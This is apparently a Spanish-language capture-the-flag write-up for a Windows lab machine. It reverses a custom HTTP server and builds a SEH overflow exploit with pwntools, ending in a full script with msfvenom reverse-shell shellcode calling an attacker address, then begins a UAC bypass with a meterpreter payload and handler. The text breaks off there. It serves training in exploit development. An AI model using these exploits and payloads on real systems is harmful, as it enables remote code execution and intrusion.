Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 21
que corre un servicio ftp
❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Esta abierto el puerto 80
con un servicio http
sin embargo si lo abrimos la web en el navegador nos muestra simplemente la página que viene por defecto en los IIS
Ya que esta abierto iniciaremos por conectarnos a ftp
, en este caso admite la autenticacion por defecto del usuario anonymous
sin proporcionar contraseña
❯ ftp 10.10.122.10
Connected to 10.10.122.10.
220 Microsoft FTP Service
Name (10.10.122.10:user): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
Dentro encontramos 3 archivos, un .txt
, un ejecutable .exe
y un script .ps1
ftp> dir
229 Entering Extended Passive Mode (|||50101|)
150 Opening ASCII mode data connection.
01-18-22 08:22AM 258 dev.txt
01-18-22 08:30AM 54784 rainbow.exe
01-16-22 01:34PM 479 restart.ps1
01-16-22 12:14PM <DIR> wwwroot
226 Transfer complete.
ftp>
El archivo dev.txt
nos dice que debido a algunos problemas con el servicio se creó un script que lo reinicia cada cierto tiempo en un puerto entre 8080
y 8090
❯ cat dev.txt
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script!
* The server will dynamically pick a port when its default port is unresponsive (8080-8090).
* We'll fix this later by adding load balancer.
- dev team
El script se ejecuta en un bucle infinito, ejecutando parando el proceso si existe y lo ejecuta de nuevo, luego espera 30
segundos y vuelve al bucle para ejecutarlo
❯ cat restart.ps1
Set-Location -Path C:\rainbow
for (;;) {
try {
If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue)) {
Invoke-Expression "C:\rainbow\rainbow.exe"
}
$proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
If (!$proc -or ($proc.Responding -eq $false) –or ($proc.WorkingSet -GT 200000*1024)) {
$proc.Kill()
Start-Sleep -s 10
Invoke-Expression "C:\rainbow\rainbow.exe"
}
} catch { }
Start-sleep -s 30
}
Al ejecutar el binario se nos muestra que se ha iniciado un servidor en algun puerto
PS C:\Users\user\Desktop> .\rainbow.exe
Starting Rainbow Server...!
De primeras no conocemos el puerto que ha abierto pero con TCPView podemos ver que el proceso rainbow.exe
tiene abierto el puerto 8080
en la dirección 0.0.0.0
Shell - rainbow
Para poder depurar el programa facilmente abriremos la aplicación dentro de WinDbg
Si miramos los detalles del módulo con mona
podemos ver que no contiene ninguna protección por lo que a la hora de hacer un exploit deberia ser relativamente sencillo
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
-------------------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
-------------------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Modulename & Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------
0x73810000 | 0x73823000 | 0x00013000 | True | False | True | True | True | True | [kernel.appcore.dll] (C:\Windows\SysWOW64\kernel.appcore.dll)
0x75eb0000 | 0x76132000 | 0x00282000 | True | False | True | True | True | True | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
0x73da0000 | 0x73e0d000 | 0x0006d000 | True | True | True | True | True | True | [MSVCP140.dll] (C:\Windows\SysWOW64\MSVCP140.dll)
0x76d90000 | 0x76ea2000 | 0x00112000 | True | True | True | True | True | True | [ucrtbase.dll] (C:\Windows\SysWOW64\ucrtbase.dll)
0x00400000 | 0x00411000 | 0x00011000 | False | False | False | False | False | False | [rainbow.exe] (Rainbow.exe)
0x757b0000 | 0x758a0000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
0x76b80000 | 0x76c44000 | 0x000c4000 | True | False | True | True | True | True | [msvcrt.dll] (C:\Windows\SysWOW64\msvcrt.dll)
0x75320000 | 0x75335000 | 0x00015000 | True | True | True | True | True | True | [VCRUNTIME140.dll] (C:\Windows\SysWOW64\VCRUNTIME140.dll)
0x77770000 | 0x77922000 | 0x001b2000 | True | False | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x75400000 | 0x754ba000 | 0x000ba000 | True | False | True | True | True | True | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
0x774c0000 | 0x7751f000 | 0x0005f000 | True | False | True | True | True | True | [WS2_32.dll] (C:\Windows\SysWOW64\WS2_32.dll)
0x72ec0000 | 0x72f11000 | 0x00051000 | True | False | True | True | True | True | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
-------------------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
La parte mas compleja aqui es la del reversing debido a que el programa se creó en C++
y el tema de los objetos hace que sea más dificil leer el código, luego de renombrar algunas cosas iniciamos con la función main
, el bloque inicial inicia mostrando un mensaje con printf
indicando que se inició un servidor
Luego ejecuta un bucle donde inicia un servidor en el host 0.0.0.0
y un puerto entre el 8080
y el 8090
, si un puerto está ocupado es posible que lo inicie en el siguiente
La función server
inicia llamando a la función WSAStartup
para inicializar winsock y luego llama a la función socket
para crear un socket y este devuelve un descriptor
Luego utiliza htons
para darle formato al puerto y posteriormente llamar a bind
para asociar una dirección local a un socket, y finalmente a la función setsockopt
Luego llama a listen
para ponerse en escucha de conexiones entrantes en el puerto
La función handler
inicia realizando un salto condicional ya que se iniciará un bucle
En este caso se llama a la función select para verificar que los descriptores en la variable readfs
esten listos para operaciones evitando asi errores de I/O
Si el valor devuelto por select
es mayor a 0
sigue la linea roja que llama a accept
que recibe una conexión y devuelve un nuevo descriptor en el valor de retorno
Si se sigue la linea verde llama a memset
para reservar un espacio en memoria y luego a recv
para recibir un total de 0x1000
o 4096
bytes en el buffer asignado
La función que se encarga de controlar las conexiones realiza una comparación de una variable method
contra la string GET
que es un método para peticiones HTTP
Si es asi muestra un mensaje en la terminal y compara la ruta con la string /
Si es igual retorna el contenido del /index.html
, si no es asi lo compara con el método POST
realizando la misma comparación asi que sabemos que recibe peticiones HTTP
Lo que enviamos en las solicitudes HTTP
las controla un binario personalizado, podemos probar enviar una cantidad grande de datos para corromperlo, si lo enviamos en peticiones GET
no lo hace pero como data de una petición POST
si
❯ curl -X GET 192.168.100.5:8080/$(python3 -c 'print("A" * 1000)')
<html><h1>404 Not Found</h1></html>
❯ curl -X POST 192.168.100.5:8080/ -d $(python3 -c 'print("A" * 1000)')
Si miramos desde el debugger el programa corrompe pero no tenemos el control del registro de eip
, sin embargo si sobrescribimos los valores de la estructura SEH
0:000> g
(3fc8.38e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005a5f28 ecx=41414141 edx=00000004 esi=004020c0 edi=005a5f28
eip=00406156 esp=00bcf8c8 ebp=00bcf8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00bcf8e8: Rainbow+a040 (0040a040)
00bcf928: Rainbow+a040 (0040a040)
00bcfbe8: 41414141
Invalid exception stack at 41414141
En lugar de A's
enviaremos un patrón con cyclic
para buscar el offset para llegar a sobrescribir la estructura con valores que son parte de la cadena creada con cyclic
#!/usr/bin/python3
from pwn import remote, p32, cyclic
payload = b""
payload += cyclic(1000)
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
0:000> g
(4394.38f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005e4e40 ecx=6661616a edx=00000004 esi=004020c0 edi=005e4e40
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:66616166=????????
0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 67616171
Invalid exception stack at 67616170
Le pasamos el valor a cyclic
que nos dice que offset para sobrescribir el puntero al siguiente SEH
es de 660
bytes, y para sobrescribir el SEH
handler 664
bytes
❯ cyclic -l 0x67616170
660
❯ cyclic -l 0x67616171
664
Nuestro payload ahora enviará 660 A's
hasta antes de sobrescribir la estructura SEH, 4 B's
que serán el siguiente SEH y 4 C's
que serán el controlador, ademas de ello rellenamos con D's
hasta llegar a 1000
bytes para mantener el exploit estable forzando que ocurra la excepción enviando una cantidad muy grande de bytes
#!/usr/bin/python3
from pwn import remote, p32
offset = 660
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242
y el controlador con 0x43434343
, si continuamos al ejecutar la excepción eventualmente controlaremos el registro eip
0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004b4e58 ecx=41414141 edx=00000004 esi=004020c0 edi=004b4e58
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 43434343
Invalid exception stack at 42424242
0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77809de0 esi=00000000 edi=00000000
eip=43434343 esp=00a8f310 ebp=00a8f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
Algo a tener en cuenta es que cuando ocurre la excepción los valores del SEH se mueven al stack
parecido a cuando se llama a una función, lo que nos interesa es que en la dirección esp + 8
se encuentra el puntero hacia el siguiente SEH
0:000> dds esp L3
00a8f310 77809dc2 ntdll!ExecuteHandler2+0x26
00a8f314 00a8f410
00a8f318 00a8fbe8
0:000> db poi(esp + 8)
00a8fbe8 42 42 42 42 43 43 43 43-05 44 44 44 44 44 44 44 BBBBCCCC.DDDDDDD
00a8fbf8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc08 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc18 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
00a8fc58 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Entonces lo que podemos hacer es ejecutar un pop; pop; ret;
para ejecutar como instrucciones el valor del nseh
, podemos encontrar uno con la herramienta ropper
❯ ropper --file rainbow.exe --ppr
POP;POP;RET Instructions
========================
0x004091b7: pop edi; pop esi; ret;
0x004092ad: pop ecx; pop ebp; ret;
0x004094d8: pop ecx; pop ecx; ret;
0x00409569: pop esi; pop ebp; ret;
0x00409657: pop esi; pop ebp; ret;
0x00409add: pop esi; pop ebx; ret;
0x00409b09: pop esi; pop ebx; ret;
0x00409b81: pop esi; pop ebp; ret;
0x0040165c: add esp, 4; pop ebp; ret;
0x00403ffc: add esp, 4; pop ebp; ret;
0x004061bc: add esp, 4; pop ebp; ret;
0x004080ec: add esp, 4; pop ebp; ret;
Cambiamos el valor del seh
y al corromperse el programa ahora la excepción apunta al pop; pop; ret;
, establecemos un breakpoint en el controlador de excepciones
seh = p32(0x004091b7) # pop; pop; ret;
0:000> g
(2c68.c58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=006e4e40 ecx=41414141 edx=00000004 esi=004020c0 edi=006e4e40
eip=00406156 esp=00acf8c8 ebp=00acf8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00acf8e8: Rainbow+a040 (0040a040)
00acf928: Rainbow+a040 (0040a040)
00acfbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 42424242
0:000> bp 0x004091b7
Al llegar al breakpoint y ejecutar el pop; pop; ret;
ejecutará el valor del nseh
como opcode, en este caso el byte 0x42
se traduce a la instrucción inc edx
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00acf310 ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b7:
004091b7 5f pop edi
0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=004091b9 esp=00acf318 ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b9:
004091b9 c3 ret
0:003> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=00acfbe8 esp=00acf31c ebp=00acf330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00acfbe8 42 inc edx
0:000> u eip L4
00acfbe8 42 inc edx
00acfbe9 42 inc edx
00acfbea 42 inc edx
00acfbeb 42 inc edx
Tenemos un pequeño problema, como la dirección del pop; pop; ret;
contiene un byte 00
lo que se escribe después de el controlador seh
no lo vemos reflejado, las D's
no se escribirán en memoria por lo que ahí no podemos escribir un shellcode
0:000> dds eip L8
00acfbe8 42424242
00acfbec 004091b7 Rainbow+0x91b7
00acfbf0 00000005
00acfbf4 00acfef4
00acfbf8 004026b3 Rainbow+0x26b3
00acfbfc 006e6488
00acfc00 006e64e8
00acfc04 006e64e8
Podriamos pensar en retroceder al inicio del shellcode sin embargo un short jump hacia atrás de 0x294
o 660
bytes no cabe en el dword del nseh
, entonces lo que podemos hacer es saltar 5
bytes atrás que es el peso del opcode de salto donde guardaremos otro short jump de 655
o 0x28f
bytes hacia el inicio del shellcode
❯ python3 -q
>>> from pwn import asm
>>> len(asm("jmp $-0x294"))
5
>>> len(asm("jmp $-0x5"))
2
>>> hex(660 - 5)
'0x28f'
>>>
Entonces nuestro exploit escribe A's
hasta 5
bytes antes de llegar al offset, ahi escribimos el shellcode y luego la estructura, el controlador salta al siguiente nseh
que hace un salto corto hacia el otro salto que salta al inicio del buffer enviado
#!/usr/bin/python3
from pwn import remote, p32, asm
back = asm("jmp $-0x28f")
offset = 660
junk = b"A" * (offset - len(back))
nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;
payload = b""
payload += junk
payload += back
payload += nseh + seh
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
Ahora al ejecutarlo el nseh
tiene el valor del opcode, establecemos un breakpoint
0:000> g
(770.2150): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004e58d8 ecx=41414141 edx=00000004 esi=004020c0 edi=004e58d8
eip=00406156 esp=00d0f8c8 ebp=00d0f8d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Rainbow+0x6156:
00406156 8b1401 mov edx,dword ptr [ecx+eax] ds:002b:4141413d=????????
0:000> !exchain
00d0f8e8: Rainbow+a040 (0040a040)
00d0f928: Rainbow+a040 (0040a040)
00d0fbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 4141f9eb
0:000> bp 004091b7
Al ejecutar el gadget de pop; pop; ret;
ejecuta un salto corto de 5
bytes atrás
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00d0f310 ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b7:
004091b7 5f pop edi
0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=004091b9 esp=00d0f318 ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Rainbow+0x91b9:
004091b9 c3 ret
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe8 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0fbe8 ebf9 jmp 00d0fbe3
Si ejecutamos ese salto corto ahora ejecuta otro salto que es hacia el inicio del shellcode, lo comprobamos mirando los bytes con db
, un byte antess no hay A's
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe3 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0fbe3 e96cfdffff jmp 00d0f954
0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0f954 esp=00d0f31c ebp=00d0f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00d0f954 41 inc ecx
0:000> db eip - 1
00d0f953 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 .AAAAAAAAAAAAAAA
00d0f963 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f973 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f983 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f993 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9a3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9b3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00d0f9c3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Ya que podemos ejecutar un shellcode con este exploit solo nos queda generar un nuevo shellcode usando msfvenom
que envie una reverse shell por el puerto 443
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.8.0.100 LPORT=443 -b '\x00\x0a\x0d' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x43\x27\xd3\x9f\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xbf\xcf\x51\x9f\x3f\x10\x36\x29"
shellcode += b"\xda\x21\x76\x4d\xaf\x12\x46\x05\xfd\x9e\x2d"
shellcode += b"\x4b\x15\x14\x43\x44\x1a\x9d\xee\xb2\x15\x1e"
shellcode += b"\x42\x86\x34\x9c\x99\xdb\x96\x9d\x51\x2e\xd7"
shellcode += b"\xda\x8c\xc3\x85\xb3\xdb\x76\x39\xb7\x96\x4a"
shellcode += b"\xb2\x8b\x37\xcb\x27\x5b\x39\xfa\xf6\xd7\x60"
shellcode += b"\xdc\xf9\x34\x19\x55\xe1\x59\x24\x2f\x9a\xaa"
shellcode += b"\xd2\xae\x4a\xe3\x1b\x1c\xb3\xcb\xe9\x5c\xf4"
shellcode += b"\xec\x11\x2b\x0c\x0f\xaf\x2c\xcb\x6d\x6b\xb8"
shellcode += b"\xcf\xd6\xf8\x1a\x2b\xe6\x2d\xfc\xb8\xe4\x9a"
shellcode += b"\x8a\xe6\xe8\x1d\x5e\x9d\x15\x95\x61\x71\x9c"
shellcode += b"\xed\x45\x55\xc4\xb6\xe4\xcc\xa0\x19\x18\x0e"
shellcode += b"\x0b\xc5\xbc\x45\xa6\x12\xcd\x04\xaf\xd7\xfc"
shellcode += b"\xb6\x2f\x70\x76\xc5\x1d\xdf\x2c\x41\x2e\xa8"
shellcode += b"\xea\x96\x51\x83\x4b\x08\xac\x2c\xac\x01\x6b"
shellcode += b"\x78\xfc\x39\x5a\x01\x97\xb9\x63\xd4\x38\xe9"
shellcode += b"\xcb\x87\xf8\x59\xac\x77\x91\xb3\x23\xa7\x81"
shellcode += b"\xbc\xe9\xc0\x28\x47\x7a\xe5\xa4\x44\x09\x91"
shellcode += b"\xb6\x4a\xec\xda\x3e\xac\x84\x0c\x17\x67\x31"
shellcode += b"\xb4\x32\xf3\xa0\x39\xe9\x7e\xe2\xb2\x1e\x7f"
shellcode += b"\xad\x32\x6a\x93\x5a\xb3\x21\xc9\xcd\xcc\x9f"
shellcode += b"\x65\x91\x5f\x44\x75\xdc\x43\xd3\x22\x89\xb2"
shellcode += b"\x2a\xa6\x27\xec\x84\xd4\xb5\x68\xee\x5c\x62"
shellcode += b"\x49\xf1\x5d\xe7\xf5\xd5\x4d\x31\xf5\x51\x39"
shellcode += b"\xed\xa0\x0f\x97\x4b\x1b\xfe\x41\x02\xf0\xa8"
shellcode += b"\x05\xd3\x3a\x6b\x53\xdc\x16\x1d\xbb\x6d\xcf"
shellcode += b"\x58\xc4\x42\x87\x6c\xbd\xbe\x37\x92\x14\x7b"
shellcode += b"\x47\xd9\x34\x2a\xc0\x84\xad\x6e\x8d\x36\x18"
shellcode += b"\xac\xa8\xb4\xa8\x4d\x4f\xa4\xd9\x48\x0b\x62"
shellcode += b"\x32\x21\x04\x07\x34\x96\x25\x02\x34\x18\xda"
shellcode += b"\xad"
Nuestro exploit final inicia sobrescribiendo el shellcode y rellena con A's
hasta antes de la estructura SEH
, el controlador salta al nseh
haciendo un short jump hacia otro short jump que salta al shellcode ejecutando de esa forma la reverse shell
#!/usr/bin/python3
from pwn import remote, p32, asm
shellcode = b""
shellcode += b"\xfc\xbb\x43\x27\xd3\x9f\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xbf\xcf\x51\x9f\x3f\x10\x36\x29"
shellcode += b"\xda\x21\x76\x4d\xaf\x12\x46\x05\xfd\x9e\x2d"
shellcode += b"\x4b\x15\x14\x43\x44\x1a\x9d\xee\xb2\x15\x1e"
shellcode += b"\x42\x86\x34\x9c\x99\xdb\x96\x9d\x51\x2e\xd7"
shellcode += b"\xda\x8c\xc3\x85\xb3\xdb\x76\x39\xb7\x96\x4a"
shellcode += b"\xb2\x8b\x37\xcb\x27\x5b\x39\xfa\xf6\xd7\x60"
shellcode += b"\xdc\xf9\x34\x19\x55\xe1\x59\x24\x2f\x9a\xaa"
shellcode += b"\xd2\xae\x4a\xe3\x1b\x1c\xb3\xcb\xe9\x5c\xf4"
shellcode += b"\xec\x11\x2b\x0c\x0f\xaf\x2c\xcb\x6d\x6b\xb8"
shellcode += b"\xcf\xd6\xf8\x1a\x2b\xe6\x2d\xfc\xb8\xe4\x9a"
shellcode += b"\x8a\xe6\xe8\x1d\x5e\x9d\x15\x95\x61\x71\x9c"
shellcode += b"\xed\x45\x55\xc4\xb6\xe4\xcc\xa0\x19\x18\x0e"
shellcode += b"\x0b\xc5\xbc\x45\xa6\x12\xcd\x04\xaf\xd7\xfc"
shellcode += b"\xb6\x2f\x70\x76\xc5\x1d\xdf\x2c\x41\x2e\xa8"
shellcode += b"\xea\x96\x51\x83\x4b\x08\xac\x2c\xac\x01\x6b"
shellcode += b"\x78\xfc\x39\x5a\x01\x97\xb9\x63\xd4\x38\xe9"
shellcode += b"\xcb\x87\xf8\x59\xac\x77\x91\xb3\x23\xa7\x81"
shellcode += b"\xbc\xe9\xc0\x28\x47\x7a\xe5\xa4\x44\x09\x91"
shellcode += b"\xb6\x4a\xec\xda\x3e\xac\x84\x0c\x17\x67\x31"
shellcode += b"\xb4\x32\xf3\xa0\x39\xe9\x7e\xe2\xb2\x1e\x7f"
shellcode += b"\xad\x32\x6a\x93\x5a\xb3\x21\xc9\xcd\xcc\x9f"
shellcode += b"\x65\x91\x5f\x44\x75\xdc\x43\xd3\x22\x89\xb2"
shellcode += b"\x2a\xa6\x27\xec\x84\xd4\xb5\x68\xee\x5c\x62"
shellcode += b"\x49\xf1\x5d\xe7\xf5\xd5\x4d\x31\xf5\x51\x39"
shellcode += b"\xed\xa0\x0f\x97\x4b\x1b\xfe\x41\x02\xf0\xa8"
shellcode += b"\x05\xd3\x3a\x6b\x53\xdc\x16\x1d\xbb\x6d\xcf"
shellcode += b"\x58\xc4\x42\x87\x6c\xbd\xbe\x37\x92\x14\x7b"
shellcode += b"\x47\xd9\x34\x2a\xc0\x84\xad\x6e\x8d\x36\x18"
shellcode += b"\xac\xa8\xb4\xa8\x4d\x4f\xa4\xd9\x48\x0b\x62"
shellcode += b"\x32\x21\x04\x07\x34\x96\x25\x02\x34\x18\xda"
shellcode += b"\xad"
back = asm("jmp $-0x28f")
offset = 660
junk = b"A" * (offset - len(shellcode + back))
nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;
payload = b""
payload += shellcode
payload += junk
payload += back
payload += nseh + seh
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("10.10.122.10", 8080)
shell.send(content)
shell.interactive()
Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell
❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 8080: Done
[*] Switching to interactive mode
$
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 51291
Microsoft Windows [Version 10.0.17763.2452]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\rainbow> whoami
rainbow\rainbow
C:\rainbow>
Shell - system
El usuario rainbow
como el que recibimos la shell es parte del grupo Administrators
sin embargo al listar los privilegios tenemos muy pocos para ser un administrador
C:\rainbow> net user rainbow
net user rainbow
User name rainbow
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/16/2022 11:55:33 AM
Password expires Never
Password changeable 1/16/2022 11:55:33 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/6/2025 6:09:18 PM
Logon hours allowed All
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
C:\rainbow> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
C:\rainbow>
Para bypassear el UAC
utilizaremos la herramienta elevator, definimos un listener en msfconsole
y creamos un payload para ejecutar dentro de un .exe
con msfvenom
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.0.100 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
❯ sudo msfconsole -q
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lport 4444
lport => 4444
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
